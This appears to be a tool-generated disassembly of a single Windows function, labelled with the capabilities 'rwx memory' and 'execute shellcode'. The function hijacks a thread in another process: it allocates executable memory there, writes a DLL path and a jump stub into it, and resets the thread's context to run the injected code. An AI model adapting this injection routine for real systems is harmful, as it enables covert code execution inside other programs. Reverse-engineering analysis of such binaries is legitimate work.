Function at 0x18000e950
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x960
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rbp
mov rax, qword [0x1801dc960]
xor rax, rsp
mov qword [rsp + 0x950], rax
mov rbp, r8
mov r14, rdx
mov rdi, rcx
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov esi, r15d
mov qword [rsp + 0x70], r15
xor edx, edx
mov r8d, 0x4c8
lea rcx, [rsp + 0x78]
call fcn.1800f4fb0
mov qword [rsp + 0x560], 0xf
mov qword [rsp + 0x558], r15
mov byte [rsp + 0x548], sil
mov dword [rsp + 0x570], r15d
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rsp + 0x574]
call fcn.1800f4fb0
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call fcn.18000dd20
test eax, eax
jne 0x18000ea9b
lea esi, [rax + 1]
mov dword [rsp + 0x570], 0x100001
lea rcx, [0x180152c40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x18000eabd
lea rdx, str.Wow64GetThreadContext
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x18000ea56
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [rsp + 0x570]
mov rcx, rbp
call rbx
jmp 0x18000eabd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
cmp qword [rsp + 0x560], 0x10
jb 0x18000ea78
mov rcx, qword [rsp + 0x548]
call fcn.1800f4b9c
mov qword [rsp + 0x560], 0xf
mov qword [rsp + 0x558], r15
mov byte [rsp + 0x548], 0
xor eax, eax
jmp 0x18000eea2
call fcn.18000dd90
test eax, eax
je 0x18000eabd
mov dword [rsp + 0xa0], 0x100001
lea rdx, [rsp + 0x70]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test esi, esi
je 0x18000ed82
mov ecx, dword [rsp + 0x628]
mov dword [0x1801afac4], ecx
mov byte [rsp + 0x840], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x841]
call fcn.1800f4fb0
mov rcx, r15
lea r9, [0x180259350]
nop dword [rax + rax]
movzx eax, byte [rcx + r9]
mov byte [rsp + rcx + 0x840], al
inc rcx
test al, al
jne 0x18000eb20
xor eax, eax
or rbx, 0xffffffffffffffff
mov rcx, rbx
mov rdi, r9
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r9
lea rcx, [rsp + 0x540]
call fcn.180003700
mov rcx, qword [rsp + 0x558]
cmp rcx, 1
jb 0x18000ebd0
dec rcx
cmp rcx, rbx
cmova rcx, rbx
lea rdi, [rsp + 0x548]
mov rsi, qword [rsp + 0x548]
cmp qword [rsp + 0x560], 0x10
cmovae rdi, rsi
add rdi, rcx
cmp byte [rdi], 0x5c
jne 0x18000eb9f
mov al, byte [rdi]
cmp al, byte [0x180151570]
je 0x18000ebb6
lea rcx, [rsp + 0x540]
call fcn.180001ac0
cmp rdi, rax
je 0x18000ebd0
dec rdi
jmp 0x18000eb90
lea rax, [rsp + 0x548]
cmp qword [rsp + 0x560], 0x10
cmovae rax, rsi
sub rdi, rax
jmp 0x18000ebd3
mov rdi, rbx
lea r9, [rdi + 1]
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x540]
call fcn.180004410
nop
mov r9, rbx
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x540]
call fcn.1800035e0
nop
cmp qword [rsp + 0x58], 0x10
jb 0x18000ec16
mov rcx, qword [rsp + 0x40]
call fcn.1800f4b9c
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], r15
mov byte [rsp + 0x40], 0
mov r8d, 0xb
lea rdx, str.prthook.dll
lea rcx, [rsp + 0x540]
call fcn.18000e780
lea r8, [rsp + 0x548]
cmp qword [rsp + 0x560], 0x10
cmovae r8, qword [rsp + 0x548]
lea rdx, [0x180153a08]
lea rcx, [rsp + 0x840]
call fcn.1800f509c
xor eax, eax
mov rcx, rbx
lea rdi, [rsp + 0x840]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, rcx
lea rbx, str.c:costomSAFEUH.dll
test ecx, ecx
jle 0x18000eca7
movsxd r8, ecx
lea rdx, [rsp + 0x840]
mov rcx, rbx
call fcn.1800f6e10
lea eax, [rdi + 0x136]
movsxd rdx, eax
mov r8d, 0x3e8
sub r8, rdx
movsxd rcx, edi
add rcx, rbx
xor edx, edx
call fcn.1800f4fb0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0x3e8
lea r8, [0x1801afa90]
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x628], r13d
lea rcx, [0x180152c40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x18000ee6c
lea rdx, str.Wow64SetThreadContext
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x18000ed3d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [rsp + 0x570]
mov rcx, rbp
call rbx
jmp 0x18000ee6c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
cmp qword [rsp + 0x560], 0x10
jb 0x18000ed5f
mov rcx, qword [rsp + 0x548]
call fcn.1800f4b9c
mov qword [rsp + 0x560], 0xf
mov qword [rsp + 0x558], r15
mov byte [rsp + 0x548], 0
xor eax, eax
jmp 0x18000eea2
call fcn.18000dd90
test eax, eax
je 0x18000ee4c
mov byte [rsp + 0x840], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x841]
call fcn.1800f4fb0
mov rdx, r15
lea r9, [0x180259350]
nop word [rax + rax]
movzx eax, byte [rdx + r9]
mov byte [rsp + rdx + 0x840], al
inc rdx
test al, al
jne 0x18000edc0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x840]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x840]
lea rcx, str.d:windows_syswow64prthook64
call fcn.1800f6e10
mov byte [0x1801afed9], 0x48
mov byte [0x1801afeda], 0xb8
mov byte [0x1801afee3], 0xff
mov byte [0x1801afee4], 0xe0
mov rax, qword [rsp + 0x168]
mov qword [0x1801afedb], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x1f4
lea r8, str.TRQSPUAWAVAUATASARAQAPWVH
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.18000dd90
test eax, eax
je 0x18000ee5d
mov qword [rsp + 0x168], r13
lea rdx, [rsp + 0x70]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
nop
cmp qword [rsp + 0x560], 0x10
jb 0x18000ee84
mov rcx, qword [rsp + 0x548]
call fcn.1800f4b9c
mov qword [rsp + 0x560], 0xf
mov qword [rsp + 0x558], r15
mov byte [rsp + 0x548], 0
xor eax, eax
mov rcx, qword [rsp + 0x950]
xor rcx, rsp
call fcn.1800f4f80
lea r11, [rsp + 0x960]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret